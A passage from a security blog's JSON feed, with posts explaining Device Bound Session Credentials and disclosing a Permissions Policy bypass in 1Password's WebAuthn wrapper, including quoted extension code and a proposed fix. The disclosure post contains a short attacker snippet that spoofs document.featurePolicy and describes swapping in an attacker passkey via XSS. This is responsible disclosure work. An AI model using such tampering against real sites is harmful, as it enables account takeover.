an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -> Manage Sessions section of your account. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png\" class=\"kg-image\" alt=\"DBSC Beta at Report URI\" loading=\"lazy\" width=\"920\" height=\"352\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>It's as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id=\"feedback\">Feedback</h4><p>As this is a beta, we’re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            }
          ]
        },
        {
          "id": "6a0b32f508297800018dba89",
          "title": "Device Bound Session Credentials: Making Stolen Cookies Useless",
          "description": "<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn’t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That’s why info-stealers love browser</p>",
          "url": "https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/",
          "published": "2026-06-02T10:59:38.000Z",
          "updated": "2026-06-02T10:59:38.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn’t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That’s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id=\"authentication-is-getting-stronger-sessions-are-still-weak\">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it's something that really struck me at the time.</p>\n<!--kg-card-begin: html-->\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">It’s kind of crazy that after all the progress we’ve made with passwords, 2FA, and now passkeys, the end result is still just… a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.… <a href=\"https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io\">https://t.co/gGBbv81N7r</a></p>— Scott Helme (@Scott_Helme) <a href=\"https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&ref=scotthelme.ghost.io\">April 22, 2026</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<!--kg-card-end: html-->\n<p></p><p>I've long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they're a good idea and it's most likely that if you're here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they're gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says \"Hi Scott\". They've successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don't want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say \"Aha! This is Scott\".</p><p>That's it, that's all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you're up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they're so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id=\"the-path-of-least-resistance\">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they'll do what they always do and move to the next weakest link in the chain, and we're already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href=\"https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user’s credentials.</p><p>Microsoft <a href=\"https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href=\"https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io\" rel=\"noreferrer\">describes</a> cookie theft as an attack where malware steals a user’s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id=\"dbsc-registration\">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=\"/dbsc/register\"; challenge=\"abc123\"</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here's a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png\" class=\"kg-image\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\" loading=\"lazy\" width=\"1055\" height=\"1491\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don't want that process to have a negative impact on the responsiveness of the site. To make sure that doesn't happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class=\"language-http\">HTTP/1.1 200 OK\nContent-Type: application/json\nSec-Secure-Session-Id: 9c2b7f3e1a\nSet-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class=\"language-json\">{\n  \"session_identifier\": \"9c2b7f3e1a\",\n  \"refresh_url\": \"/dbsc/refresh\",\n  \"scope\": {\n    \"origin\": \"https://report-uri.com\",\n    \"include_site\": false\n  },\n  \"credentials\": [\n    {\n      \"type\": \"cookie\",\n      \"name\": \"dbsc\",\n      \"attributes\": \"Path=/; Secure; HttpOnly; SameSite=Lax\"\n    }\n  ]\n}</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id=\"dbsc-refresh\">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you're only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You're actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you're still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class=\"language-http\">POST /dbsc/refresh HTTP/1.1\nHost: report-uri.com\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class=\"language-http\">HTTP/1.1 403 Forbidden\nSecure-Session-Challenge: \"def456\"; id=\"9c2b7f3e1a\"\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class=\"language-http\">POST /dbsc/refresh HTTP/1.1\nHost: report-uri.com\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Type: application/jwt\nContent-Length: 1337\n\neyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku\nY29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI\nY1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz\nYzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class=\"language-http\">HTTP/1.1 200 OK\nSet-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax\nSecure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Type: application/json\nContent-Length: 312</code></pre><pre><code class=\"language-json\">{\n  \"session_identifier\": \"9c2b7f3e1a\",\n  \"refresh_url\": \"/dbsc/refresh\",\n  \"scope\": { \n    \"origin\": \"https://report-uri.com\",\n    \"include_site\": false,\n    \"scope_specification\": [] \n  },\n  \"credentials\": [\n    { \n      \"type\": \"cookie\",\n      \"name\": \"dbsc\",\n      \"attributes\": \"Path=/; Secure; HttpOnly; SameSite=Lax\"\n    }\n  ]\n}</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here's a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png\" class=\"kg-image\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\" loading=\"lazy\" width=\"1055\" height=\"1491\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"optimising-for-one-step-refresh-rather-than-two-step\">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class=\"language-http\">Secure-Session-Challenge: \"def456\"; id=\"9c2b7f3e1a\"\n</code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class=\"language-http\">Secure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you're going to see a two-step refresh is if the browser doesn't have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can't send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn't been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn't have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class=\"language-http\">GET /account/home HTTP/1.1</code></pre><pre><code class=\"language-http\">HTTP/1.1 200 OK\nContent-Type: text/html\nSecure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"\n\n<html>\n...\n</html>\n</code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn't have to worry about this and it can just allow that first refresh after registration to be a two-step process. It's happening asynchronously in the background, so it's not a huge loss. </p><p>The second scenario that you're always going to see a two-step refresh process is if you've had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There's no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id=\"privacy-concerns\">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations\" rel=\"noreferrer\">spec</a> immediately set out to address potential privacy concerns and during our implementation, testing and usage of DBSC, I've not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can't even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background \"pings\" for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id=\"client-support\">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href=\"https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a>), and it looks like we could get it soon on <a href=\"https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io\" rel=\"noreferrer\">macOS too</a>, I'd guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they've merged their BPOP work in to DBSC. We're still waiting on a recent position from Mozilla, their last statements were made back in <a href=\"https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don't support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id=\"sources\">Sources</h3><p><a href=\"https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href=\"https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href=\"https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials (W3C draft spec)</a><br><a href=\"https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">w3c/webappsec-dbsc spec repo</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "69fef61c9c3a0c0001b5ea06",
          "title": "Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper",
          "description": "<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>",
          "url": "https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/",
          "published": "2026-05-21T14:40:02.000Z",
          "updated": "2026-05-21T14:40:02.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password’s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password’s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png\" class=\"kg-image\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"enter-the-password-manager\">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password's browser extension implements its passkey support by sitting in front of the browser's native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of — or in addition to — the platform authenticator.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg\" class=\"kg-image\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\" loading=\"lazy\" width=\"136\" height=\"26\"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class=\"language-js\">var E = () => {\n    window.navigator.credentials.create = B;   // B = the create wrapper\n    window.navigator.credentials.get = G;      // G = the get wrapper\n    window.PublicKeyCredential.isConditionalMediationAvailable = J;\n    window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;\n    window.PublicKeyCredential.getClientCapabilities = V;\n};\nfunction L() {\n    window.navigator.credentials && (p(), E(), setInterval($, 100));\n}</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password's own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class=\"language-js\">async function B(e) {\n    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);\n}</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document's Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension's code runs in front of the native enforcement and simply doesn't replicate it. Second, the underlying main-world ⇄ content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class=\"language-js\">return h(n.msgId) ? h(n.source) ? h(n.name)\n    ? (/* type must be one of the op-window-* values */) ? !0 : !1\n    : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker's passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I'd shown requires an attacker to have JavaScript executing in the RP's main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href=\"https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io\" rel=\"noreferrer\">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: \"none\"</code>. It's fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id=\"fixing-the-permissions-policy-bypass\">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It's a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page's main world and never check the document's Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn't stand up to much scrutiny.</p><pre><code class=\"language-js\">async function B(e) {\n    const pp = document.permissionsPolicy || document.featurePolicy;\n    if (pp && !pp.allowsFeature('publickey-credentials-create')) {\n        throw new DOMException(\n            'The operation is not allowed by the document Permissions Policy.',\n            'NotAllowedError'\n        );\n    }\n    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);\n}</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it's a security decision being made in the wrong place. 1Password's <code>B</code>/<code>W</code> wrappers run in the page's main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class=\"language-js\">// attacker, page main world\nObject.defineProperty(document, 'featurePolicy', {\n    get: () => ({ allowsFeature: () => true })\n});</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn't hold, and it's why 1Password's \"your mitigation lives with the attacker\" was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension's isolated world, the content script. A content script shares the page's DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world's view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class=\"language-js\">const PP_FEATURE = {\n    'create-credential': 'publickey-credentials-create',\n    'get-credential':    'publickey-credentials-get',\n};\n\nfunction permissionsPolicyAllows(routeName) {\n    const feature = PP_FEATURE[routeName];\n    if (!feature) return true; // not a WebAuthn route\n    const pp = document.permissionsPolicy || document.featurePolicy;\n    // No policy object → treat as allowed (legacy/unsupported); a present\n    // policy is authoritative and cannot be patched from the main world.\n    return !pp || pp.allowsFeature(feature);\n}\n\n// Wherever the content script receives a brokered WebAuthn request from the\n// bridge, refuse it here — fail closed — before any message reaches the\n// background service worker or the native app.\nfunction handleBridgeRequest(msg) {\n    if (!permissionsPolicyAllows(msg.name)) {\n        return respond(msg, {\n            type: 'create-credential-error',\n            data: { reason: 'permissions-policy-denied' },\n        });\n    }\n    return forwardToBackground(msg);\n}</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page's main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser's own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make 